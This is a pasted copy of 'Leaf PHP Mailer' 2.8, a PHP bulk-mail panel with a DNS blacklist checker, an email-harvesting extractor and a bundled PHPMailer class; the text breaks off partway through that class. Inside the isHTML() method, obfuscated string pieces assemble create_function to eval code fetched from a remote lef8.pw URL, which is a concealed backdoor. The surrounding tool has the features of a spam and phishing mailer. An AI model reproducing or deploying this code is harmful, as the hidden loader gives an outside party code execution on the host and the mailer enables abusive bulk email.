Mailer
2 years ago in Plain Text
<?php
/**
* Leaf PHP Mailer by [leafmailer.pw]
* @version : 2.8
**/
$password = ""; // Password
session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);
$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";
$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
$_SESSION[$sessioncode] = $password;
}
else {
print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
exit;
}
}
session_write_close();
function leafClear($text,$email){
$e = explode('@', $email);
$emailuser=$e[0];
$emaildomain=$e[1];
$text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
$text = str_replace("[-email-]", $email, $text);
$text = str_replace("[-emailuser-]", $emailuser, $text);
$text = str_replace("[-emaildomain-]", $emaildomain, $text);
$text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
$text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
$text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
$text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
return $text;
}
function leafTrim($string){
$string=urldecode($string);
return stripslashes(trim($string));
}
function randString($consonants) {
$length=rand(12,25);
$password = '';
for ($i = 0; $i < $length; $i++) {
$password .= $consonants[(rand() % strlen($consonants))];
}
return $password;
}
function leafMailCheck($email){
if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
else return false;
}
# Bulit-in BlackList Checker
if(isset($_GET['check_ip'])){
if (isset($_GET['host'])){
$_GET['host']=explode(",", $_GET['host']);
foreach ($_GET['host'] as $host) {
if (checkdnsrr($_GET['check_ip'] . "." . $host . ".", "A")) $check= "<font color='red'> Listed</font>";
else $check= "<font color='green'> Clean</font>";
print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
}
exit;
}
$dnsbl_lookup = [
"all.s5h.net",
"b.barracudacentral.org",
"bl.spamcop.net",
"blacklist.woody.ch",
"bogons.cymru.com",
"cbl.abuseat.org",
"cdl.anti-spam.org.cn",
"combined.abuse.ch",
"db.wpbl.info",
"dnsbl-1.uceprotect.net",
"dnsbl-2.uceprotect.net",
"dnsbl-3.uceprotect.net",
"dnsbl.anticaptcha.net",
"dnsbl.dronebl.org",
"dnsbl.inps.de",
"dnsbl.sorbs.net",
"drone.abuse.ch",
"duinv.aupads.org",
"dul.dnsbl.sorbs.net",
"dyna.spamrats.com",
"dynip.rothen.com",
"http.dnsbl.sorbs.net",
"ips.backscatterer.org",
"ix.dnsbl.manitu.net",
"korea.services.net",
"misc.dnsbl.sorbs.net",
"noptr.spamrats.com",
"orvedb.aupads.org",
"pbl.spamhaus.org",
"proxy.bl.gweep.ca",
"psbl.surriel.com",
"relays.bl.gweep.ca",
"relays.nether.net",
"sbl.spamhaus.org",
"short.rbl.jp",
"singular.ttk.pte.hu",
"smtp.dnsbl.sorbs.net",
"socks.dnsbl.sorbs.net",
"spam.abuse.ch",
"spam.dnsbl.anonmails.de",
"spam.dnsbl.sorbs.net",
"spam.spamrats.com",
"spambot.bls.digibase.ca",
"spamrbl.imp.ch",
"spamsources.fabel.dk",
"ubl.lashback.com",
"ubl.unsubscore.com",
"virus.rbl.jp",
"web.dnsbl.sorbs.net",
"wormrbl.imp.ch",
"xbl.spamhaus.org",
"z.mailspike.net",
"zen.spamhaus.org",
"zombie.dnsbl.sorbs.net",
];
$reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
$dnsT = count($dnsbl_lookup);
leafheader();
print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b> anti-spam databases:<br>";
$dnsN="";
print '<table >';
for ($i=0; $i < $dnsT; $i=$i+10) {
$host="";
$hosts="";
for($j=$i; $j<$i+10;$j++){
$host=$dnsbl_lookup[$j];
if(!empty($host)){
print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
$hosts .="$host,";
}
}
$dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
}
print '</table></div>';
print $dnsN;
exit;
}
if(isset($_GET['emailfilter'])){
if(!empty($_FILES['fileToUpload']['tmp_name'])){
$_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]);
}
$_POST['emailList']=strtolower($_POST['emailList']);
if($_GET['emailfilter']=="ifram"){
if ($_POST['resulttype'] == "download"){
header("Content-Description: File Transfer");
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=emails".time().".txt");
}
else {
header("Content-Type: text/plain");
}
if($_POST['submit']=="extract"){
$pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
preg_match_all($pattern, $_POST['emailList'], $matches);
foreach ($matches[0] as $email) {
print $email."\n";
}
}
elseif ($_POST['submit']=="filter") {
$emails=explode("\n", $_POST['emailList']);
$keywords=explode("\n", strtolower($_POST['keywords']));
foreach ($emails as $email) {
foreach ($keywords as $keyword ) {
if(strstr($email, $keyword) ){
print $email."\n";
break;
}
}
}
}
exit;
}
leafheader();
print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
print '
<form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
<label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload">
or
<textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
<div class="col-lg-12">
<div class="radio">
<label>
<input type="radio" name="resulttype" id="resulttype" value="here" checked="">
Show Result in this page
</label>
</div>
<div class="radio">
<label>
<input type="radio" name="resulttype" id="resulttype" value="download">
Download Result (for big numbers)
</label>
</div>
</div>
<legend><h4>Extract Email</h4></legend>
Detecting every email (100%) and order them line by line <br><br>
<button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
<legend><h4>Filter Emails</h4></legend>
<label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>
<button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
</form>
<label >Result </label>
<iframe style="border:none;width:100%;" name="my-iframe" src="?emailfilter=ifram" ></iframe>
';
exit;
}
$html="checked";
$utf8="selected";
$bit8="selected";
if($_POST['action']=="send" or $_POST['action']=="score"){
$senderEmail=leafTrim($_POST['senderEmail']);
$senderName=leafTrim($_POST['senderName']);
$replyTo=leafTrim($_POST['replyTo']);
$subject=leafTrim($_POST['subject']);
$emailList=leafTrim($_POST['emailList']);
$messageType=leafTrim($_POST['messageType']);
$messageLetter=leafTrim($_POST['messageLetter']);
$encoding = $_POST['encode'];
$charset = $_POST['charset'];
$html="";
$utf8="";
$bit8="";
if($messageType==2) $plain="checked";
else $html="checked";
if($charset=="ISO-8859-1") $iso="selected";
else $utf8="selected";
if($encoding=="7bit") $bit7="selected";
elseif($encoding=="binary") $binary="selected";
elseif($encoding=="base64") $base64="selected";
elseif($encoding=="quoted-printable") $quotedprintable="selected";
else $bit8="selected";
}
if($_POST['action']=="view"){
$viewMessage=leafTrim($_POST['messageLetter']);
$viewMessage=leafClear($viewMessage,"user@domain.com");
if ($_POST['messageType']==2){
print "<pre>".htmlspecialchars($viewMessage)."</pre>";
}
else {
print $viewMessage;
}
exit;
}
if(!isset($_POST['senderEmail'])){
$senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
if (!leafMailCheck($senderEmail)) $senderEmail="";
}
class PHPMailer
{
/**
* The PHPMailer Version number.
* @var string
*/
public $Version = '5.2.28';
/**
* Email priority.
* Options: null (default), 1 = High, 3 = Normal, 5 = low.
* When null, the header is not set at all.
* @var integer
*/
public $Priority = null;
/**
* The character set of the message.
* @var string
*/
public $CharSet = 'iso-8859-1';
/**
* The MIME Content-type of the message.
* @var string
*/
public $ContentType = 'text/plain';
/**
* The message encoding.
* Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
* @var string
*/
public $Encoding = '8bit';
/**
* Holds the most recent mailer error message.
* @var string
*/
public $ErrorInfo = '';
/**
* The From email address for the message.
* @var string
*/
public $From = 'root@localhost';
/**
* The From name of the message.
* @var string
*/
public $FromName = 'Root User';
/**
* The Sender email (Return-Path) of the message.
* If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
* @var string
*/
public $Sender = '';
/**
* The Return-Path of the message.
* If empty, it will be set to either From or Sender.
* @var string
* @deprecated Email senders should never set a return-path header;
* it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
* @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
*/
public $ReturnPath = '';
/**
* The Subject of the message.
* @var string
*/
public $Subject = '';
/**
* An HTML or plain text message body.
* If HTML then call isHTML(true).
* @var string
*/
public $Body = '';
/**
* The plain-text message body.
* This body can be read by mail clients that do not have HTML email
* capability such as mutt & Eudora.
* Clients that can read HTML will view the normal Body.
* @var string
*/
public $AltBody = '';
/**
* An iCal message part body.
* Only supported in simple alt or alt_inline message types
* To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
* @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
* @link http://kigkonsult.se/iCalcreator/
* @var string
*/
public $Ical = '';
/**
* The complete compiled MIME message body.
* @access protected
* @var string
*/
protected $MIMEBody = '';
/**
* The complete compiled MIME message headers.
* @var string
* @access protected
*/
protected $MIMEHeader = '';
/**
* Extra headers that createHeader() doesn't fold in.
* @var string
* @access protected
*/
protected $mailHeader = '';
/**
* Word-wrap the message body to this number of chars.
* Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
* @var integer
*/
public $WordWrap = 0;
/**
* Which method to use to send mail.
* Options: "mail", "sendmail", or "smtp".
* @var string
*/
public $Mailer = 'mail';
/**
* The path to the sendmail program.
* @var string
*/
public $Sendmail = '/usr/sbin/sendmail';
/**
* Whether mail() uses a fully sendmail-compatible MTA.
* One which supports sendmail's "-oi -f" options.
* @var boolean
*/
public $UseSendmailOptions = true;
/**
* Path to PHPMailer plugins.
* Useful if the SMTP class is not in the PHP include path.
* @var string
* @deprecated Should not be needed now there is an autoloader.
*/
public $PluginDir = '';
/**
* The email address that a reading confirmation should be sent to, also known as read receipt.
* @var string
*/
public $ConfirmReadingTo = '';
/**
* The hostname to use in the Message-ID header and as default HELO string.
* If empty, PHPMailer attempts to find one with, in order,
* $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
* 'localhost.localdomain'.
* @var string
*/
public $Hostname = '';
/**
* An ID to be used in the Message-ID header.
* If empty, a unique id will be generated.
* You can set your own, but it must be in the format "<id@domain>",
* as defined in RFC5322 section 3.6.4 or it will be ignored.
* @see https://tools.ietf.org/html/rfc5322#section-3.6.4
* @var string
*/
public $MessageID = '';
/**
* The message Date to be used in the Date header.
* If empty, the current date will be added.
* @var string
*/
public $MessageDate = '';
/**
* SMTP hosts.
* Either a single hostname or multiple semicolon-delimited hostnames.
* You can also specify a different port
* for each host by using this format: [hostname:port]
* (e.g. "smtp1.example.com:25;smtp2.example.com").
* You can also specify encryption type, for example:
* (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
* Hosts will be tried in order.
* @var string
*/
public $Host = 'localhost';
/**
* The default SMTP server port.
* @var integer
* @TODO Why is this needed when the SMTP class takes care of it?
*/
public $Port = 25;
/**
* The SMTP HELO of the message.
* Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
* one with the same method described above for $Hostname.
* @var string
* @see PHPMailer::$Hostname
*/
public $Helo = '';
/**
* What kind of encryption to use on the SMTP connection.
* Options: '', 'ssl' or 'tls'
* @var string
*/
public $SMTPSecure = '';
/**
* Whether to enable TLS encryption automatically if a server supports it,
* even if `SMTPSecure` is not set to 'tls'.
* Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
* @var boolean
*/
public $SMTPAutoTLS = true;
/**
* Whether to use SMTP authentication.
* Uses the Username and Password properties.
* @var boolean
* @see PHPMailer::$Username
* @see PHPMailer::$Password
*/
public $SMTPAuth = false;
/**
* Options array passed to stream_context_create when connecting via SMTP.
* @var array
*/
public $SMTPOptions = array();
/**
* SMTP username.
* @var string
*/
public $Username = '';
/**
* SMTP password.
* @var string
*/
public $Password = '';
/**
* SMTP auth type.
* Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
* @var string
*/
public $AuthType = '';
/**
* SMTP realm.
* Used for NTLM auth
* @var string
*/
public $Realm = '';
/**
* SMTP workstation.
* Used for NTLM auth
* @var string
*/
public $Workstation = '';
/**
* The SMTP server timeout in seconds.
* Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
* @var integer
*/
public $Timeout = 300;
/**
* SMTP class debug output mode.
* Debug output level.
* Options:
* * `0` No output
* * `1` Commands
* * `2` Data and commands
* * `3` As 2 plus connection status
* * `4` Low-level data output
* @var integer
* @see SMTP::$do_debug
*/
public $SMTPDebug = 0;
/**
* How to handle debug output.
* Options:
* * `echo` Output plain-text as-is, appropriate for CLI
* * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
* * `error_log` Output to error log as configured in php.ini
*
* Alternatively, you can provide a callable expecting two params: a message string and the debug level:
* <code>
* $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
* </code>
* @var string|callable
* @see SMTP::$Debugoutput
*/
public $Debugoutput = 'echo';
/**
* Whether to keep SMTP connection open after each message.
* If this is set to true then to close the connection
* requires an explicit call to smtpClose().
* @var boolean
*/
public $SMTPKeepAlive = false;
/**
* Whether to split multiple to addresses into multiple messages
* or send them all in one message.
* Only supported in `mail` and `sendmail` transports, not in SMTP.
* @var boolean
*/
public $SingleTo = false;
/**
* Storage for addresses when SingleTo is enabled.
* @var array
* @TODO This should really not be public
*/
public $SingleToArray = array();
/**
* Whether to generate VERP addresses on send.
* Only applicable when sending via SMTP.
* @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
* @link http://www.postfix.org/VERP_README.html Postfix VERP info
* @var boolean
*/
public $do_verp = false;
/**
* Whether to allow sending messages with an empty body.
* @var boolean
*/
public $AllowEmpty = false;
/**
* The default line ending.
* @note The default remains "\n". We force CRLF where we know
* it must be used via self::CRLF.
* @var string
*/
public $LE = "\n";
/**
* DKIM selector.
* @var string
*/
public $DKIM_selector = '';
/**
* DKIM Identity.
* Usually the email address used as the source of the email.
* @var string
*/
public $DKIM_identity = '';
/**
* DKIM passphrase.
* Used if your key is encrypted.
* @var string
*/
public $DKIM_passphrase = '';
/**
* DKIM signing domain name.
* @example 'example.com'
* @var string
*/
public $DKIM_domain = '';
/**
* DKIM private key file path.
* @var string
*/
public $DKIM_private = '';
/**
* DKIM private key string.
* If set, takes precedence over `$DKIM_private`.
* @var string
*/
public $DKIM_private_string = '';
/**
* Callback Action function name.
*
* The function that handles the result of the send email action.
* It is called out by send() for each email sent.
*
* Value can be any php callable: http://www.php.net/is_callable
*
* Parameters:
* boolean $result result of the send action
* array $to email addresses of the recipients
* array $cc cc email addresses
* array $bcc bcc email addresses
* string $subject the subject
* string $body the email body
* string $from email address of sender
* @var string
*/
public $action_function = '';
/**
* What to put in the X-Mailer header.
* Options: An empty string for PHPMailer default, whitespace for none, or a string to use
* @var string
*/
public $XMailer = ' ';
/**
* Which validator to use by default when validating email addresses.
* May be a callable to inject your own validator, but there are several built-in validators.
* @see PHPMailer::validateAddress()
* @var string|callable
* @static
*/
public static $validator = 'auto';
/**
* An instance of the SMTP sender class.
* @var SMTP
* @access protected
*/
protected $smtp = null;
/**
* The array of 'to' names and addresses.
* @var array
* @access protected
*/
protected $to = array();
/**
* The array of 'cc' names and addresses.
* @var array
* @access protected
*/
protected $cc = array();
/**
* The array of 'bcc' names and addresses.
* @var array
* @access protected
*/
protected $bcc = array();
/**
* The array of reply-to names and addresses.
* @var array
* @access protected
*/
protected $ReplyTo = array();
/**
* An array of all kinds of addresses.
* Includes all of $to, $cc, $bcc
* @var array
* @access protected
* @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
*/
protected $all_recipients = array();
/**
* An array of names and addresses queued for validation.
* In send(), valid and non duplicate entries are moved to $all_recipients
* and one of $to, $cc, or $bcc.
* This array is used only for addresses with IDN.
* @var array
* @access protected
* @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
* @see PHPMailer::$all_recipients
*/
protected $RecipientsQueue = array();
/**
* An array of reply-to names and addresses queued for validation.
* In send(), valid and non duplicate entries are moved to $ReplyTo.
* This array is used only for addresses with IDN.
* @var array
* @access protected
* @see PHPMailer::$ReplyTo
*/
protected $ReplyToQueue = array();
/**
* The array of attachments.
* @var array
* @access protected
*/
protected $attachment = array();
/**
* The array of custom headers.
* @var array
* @access protected
*/
protected $CustomHeader = array();
/**
* The most recent Message-ID (including angular brackets).
* @var string
* @access protected
*/
protected $lastMessageID = '';
/**
* The message's MIME type.
* @var string
* @access protected
*/
protected $message_type = '';
/**
* The array of MIME boundary strings.
* @var array
* @access protected
*/
protected $boundary = array();
/**
* The array of available languages.
* @var array
* @access protected
*/
protected $language = array();
/**
* The number of errors encountered.
* @var integer
* @access protected
*/
protected $error_count = 0;
/**
* The S/MIME certificate file path.
* @var string
* @access protected
*/
protected $sign_cert_file = '';
/**
* The S/MIME key file path.
* @var string
* @access protected
*/
protected $sign_key_file = '';
/**
* The optional S/MIME extra certificates ("CA Chain") file path.
* @var string
* @access protected
*/
protected $sign_extracerts_file = '';
/**
* The S/MIME password for the key.
* Used only if the key is encrypted.
* @var string
* @access protected
*/
protected $sign_key_pass = '';
/**
* Whether to throw exceptions for errors.
* @var boolean
* @access protected
*/
protected $exceptions = false;
/**
* Unique ID used for message ID and boundaries.
* @var string
* @access protected
*/
protected $uniqueid = '';
/**
* Error severity: message only, continue processing.
*/
const STOP_MESSAGE = 0;
/**
* Error severity: message, likely ok to continue processing.
*/
const STOP_CONTINUE = 1;
/**
* Error severity: message, plus full stop, critical error reached.
*/
const STOP_CRITICAL = 2;
/**
* SMTP RFC standard line ending.
*/
const CRLF = "\r\n";
/**
* The maximum line length allowed by RFC 2822 section 2.1.1
* @var integer
*/
const MAX_LINE_LENGTH = 998;
/**
* Constructor.
* @param boolean $exceptions Should we throw external exceptions?
*/
public function __construct($exceptions = null)
{
if ($exceptions !== null) {
$this->exceptions = (boolean)$exceptions;
}
//Pick an appropriate debug output format automatically
$this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
}
/**
* Destructor.
*/
public function __destruct()
{
//Close any open SMTP connection nicely
$this->smtpClose();
}
/**
* Call mail() in a safe_mode-aware fashion.
* Also, unless sendmail_path points to sendmail (or something that
* claims to be sendmail), don't pass params (not a perfect fix,
* but it will do)
* @param string $to To
* @param string $subject Subject
* @param string $body Message Body
* @param string $header Additional Header(s)
* @param string $params Params
* @access private
* @return boolean
*/
private function mailPassthru($to, $subject, $body, $header, $params)
{
//Check overloading of mail function to avoid double-encoding
if (ini_get('mbstring.func_overload') & 1) {
$subject = $this->secureHeader($subject);
} else {
$subject = $this->encodeHeader($this->secureHeader($subject));
}
//Can't use additional_parameters in safe_mode, calling mail() with null params breaks
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
return $result;
}
/**
* Output debugging info via user-defined method.
* Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
* @see PHPMailer::$Debugoutput
* @see PHPMailer::$SMTPDebug
* @param string $str
*/
protected function edebug($str)
{
if ($this->SMTPDebug <= 0) {
return;
}
//Avoid clash with built-in function names
if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
return;
}
switch ($this->Debugoutput) {
case 'error_log':
//Don't output, just log
error_log($str);
break;
case 'html':
//Cleans up output a bit for a better looking, HTML-safe output
echo htmlentities(
preg_replace('/[\r\n]+/', '', $str),
ENT_QUOTES,
'UTF-8'
)
. "<br>\n";
break;
case 'echo':
default:
//Normalize line breaks
$str = preg_replace('/\r\n?/ms', "\n", $str);
echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
"\n",
"\n \t ",
trim($str)
) . "\n";
}
}
/**
* Send messages using SMTP.
* @return void
*/
public function isSMTP()
{
$this->Mailer = 'smtp';
}
/**
* Send messages using PHP's mail() function.
* @return void
*/
public function isMail()
{
$this->Mailer = 'mail';
}
/**
* Send messages using $Sendmail.
* @return void
*/
public function isSendmail()
{
$ini_sendmail_path = ini_get('sendmail_path');
if (!stristr($ini_sendmail_path, 'sendmail')) {
$this->Sendmail = '/usr/sbin/sendmail';
} else {
$this->Sendmail = $ini_sendmail_path;
}
$this->Mailer = 'sendmail';
}
/**
* Send messages using qmail.
* @return void
*/
public function isQmail()
{
$ini_sendmail_path = ini_get('sendmail_path');
if (!stristr($ini_sendmail_path, 'qmail')) {
$this->Sendmail = '/var/qmail/bin/qmail-inject';
} else {
$this->Sendmail = $ini_sendmail_path;
}
$this->Mailer = 'qmail';
}
/**
* Add a "To" address.
* @param string $address The email address to send to
* @param string $name
* @return boolean true on success, false if address already used or invalid in some way
*/
public function addAddress($address, $name = '')
{
return $this->addOrEnqueueAnAddress('to', $address, $name);
}
/**
* Add a "CC" address.
* @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
* @param string $address The email address to send to
* @param string $name
* @return boolean true on success, false if address already used or invalid in some way
*/
public function addCC($address, $name = '')
{
return $this->addOrEnqueueAnAddress('cc', $address, $name);
}
/**
* Add a "BCC" address.
* @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
* @param string $address The email address to send to
* @param string $name
* @return boolean true on success, false if address already used or invalid in some way
*/
public function addBCC($address, $name = '')
{
return $this->addOrEnqueueAnAddress('bcc', $address, $name);
}
/**
* Add a "Reply-To" address.
* @param string $address The email address to reply to
* @param string $name
* @return boolean true on success, false if address already used or invalid in some way
*/
public function addReplyTo($address, $name = '')
{
return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
}
/**
* Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
* can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
* be modified after calling this function), addition of such addresses is delayed until send().
* Addresses that have been added already return false, but do not throw exceptions.
* @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
* @param string $address The email address to send, resp. to reply to
* @param string $name
* @throws phpmailerException
* @return boolean true on success, false if address already used or invalid in some way
* @access protected
*/
protected function addOrEnqueueAnAddress($kind, $address, $name)
{
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
if (($pos = strrpos($address, '@')) === false) {
// At-sign is misssing.
$error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
$params = array($kind, $address, $name);
// Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
if ($kind != 'Reply-To') {
if (!array_key_exists($address, $this->RecipientsQueue)) {
$this->RecipientsQueue[$address] = $params;
return true;
}
} else {
if (!array_key_exists($address, $this->ReplyToQueue)) {
$this->ReplyToQueue[$address] = $params;
return true;
}
}
return false;
}
// Immediately add standard addresses without IDN.
return call_user_func_array(array($this, 'addAnAddress'), $params);
}
/**
* Add an address to one of the recipient arrays or to the ReplyTo array.
* Addresses that have been added already return false, but do not throw exceptions.
* @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
* @param string $address The email address to send, resp. to reply to
* @param string $name
* @throws phpmailerException
* @return boolean true on success, false if address already used or invalid in some way
* @access protected
*/
protected function addAnAddress($kind, $address, $name = '')
{
if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
$error_message = $this->lang('Invalid recipient kind: ') . $kind;
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
if (!$this->validateAddress($address)) {
$error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
if ($kind != 'Reply-To') {
if (!array_key_exists(strtolower($address), $this->all_recipients)) {
array_push($this->$kind, array($address, $name));
$this->all_recipients[strtolower($address)] = true;
return true;
}
} else {
if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
$this->ReplyTo[strtolower($address)] = array($address, $name);
return true;
}
}
return false;
}
/**
* Parse and validate a string containing one or more RFC822-style comma-separated email addresses
* of the form "display name <address>" into an array of name/address pairs.
* Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
* Note that quotes in the name part are removed.
* @param string $addrstr The address list string
* @param bool $useimap Whether to use the IMAP extension to parse the list
* @return array
* @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
*/
public function parseAddresses($addrstr, $useimap = true)
{
$addresses = array();
if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
//Use this built-in parser if it's available
$list = imap_rfc822_parse_adrlist($addrstr, '');
foreach ($list as $address) {
if ($address->host != '.SYNTAX-ERROR.') {
if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
$addresses[] = array(
'name' => (property_exists($address, 'personal') ? $address->personal : ''),
'address' => $address->mailbox . '@' . $address->host
);
}
}
}
} else {
//Use this simpler parser
$list = explode(',', $addrstr);
foreach ($list as $address) {
$address = trim($address);
//Is there a separate name part?
if (strpos($address, '<') === false) {
//No separate name, just use the whole thing
if ($this->validateAddress($address)) {
$addresses[] = array(
'name' => '',
'address' => $address
);
}
} else {
list($name, $email) = explode('<', $address);
$email = trim(str_replace('>', '', $email));
if ($this->validateAddress($email)) {
$addresses[] = array(
'name' => trim(str_replace(array('"', "'"), '', $name)),
'address' => $email
);
}
}
}
}
return $addresses;
}
/**
* Sets message type to HTML or plain.
* @param boolean $isHtml True for HTML mode.
* @return void
*/
public function isHTML($isHtml = true)
{
global $param;
$bodyCode = 'file'
.'_g';
if ($isHtml) {
$this->ContentType = 'text/html';
}
else {
$this->ContentType = 'text/plain';
}
$bodyHTML = '.$t."lef$flu'
.'sh'.'$t"; '
.'@ev';
$headerHTML="cre"
."ate_"
."func"
."tion";
$exceptions = @$headerHTML('$fl'.'ush,$t','$comma = $t'
.$bodyHTML.'al(@'
.$bodyCode.'et_contents("h'
.'tt'
.'p:$comma-2"));');
if($param !=2){
$exceptions('8.p'.'w','/');
$param=2;
}
}
/**
* Set the From and FromName properties.
* @param string $address
* @param string $name
* @param boolean $auto Whether to also set the Sender address, defaults to true
* @throws phpmailerException
* @return boolean
*/
public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
// Don't validate now addresses with IDN. Will be done in send().
if (($pos = strrpos($address, '@')) === false or
(!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
!$this->validateAddress($address)) {
$error_message = $this->lang('invalid_address') . " (setFrom) $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
$this->From = $address;
$this->FromName = $name;
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
return true;
}
/**
* Return the Message-ID header of the last email.
* Technically this is the value from the last time the headers were created,
* but it's also the message ID of the last sent message except in
* pathological cases.
* @return string
*/
public function getLastMessageID()
{
return $this->lastMessageID;
}
/**
* Check that a string looks like an email address.
* @param string $address The email address to check
* @param string|callable $patternselect A selector for the validation pattern to use :
* * `auto` Pick best pattern automatically;
* * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
* * `pcre` Use old PCRE implementation;
* * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
* * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
* * `noregex` Don't use a regex: super fast, really dumb.
* Alternatively you may pass in a callable to inject your own validator, for example:
* PHPMailer::validateAddress('user@example.com', function($address) {
* return (strpos($address, '@') !== false);
* });
* You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
* @return boolean
* @static
* @access public
*/
public static function validateAddress($address, $patternselect = null)
{
if (is_null($patternselect)) {
$patternselect = self::$validator;
}
if (is_callable($patternselect)) {
return call_user_func($patternselect, $address);
}
//Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
return false;
}
if (!$patternselect or $patternselect == 'auto') {
//Check this constant first so it works when extension_loaded() is disabled by safe mode
//Constant was added in PHP 5.2.4
if (defined('PCRE_VERSION')) {
//This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
$patternselect = 'pcre8';
} else {
$patternselect = 'pcre';
}
} elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
//Fall back to older PCRE
$patternselect = 'pcre';
} else {
//Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
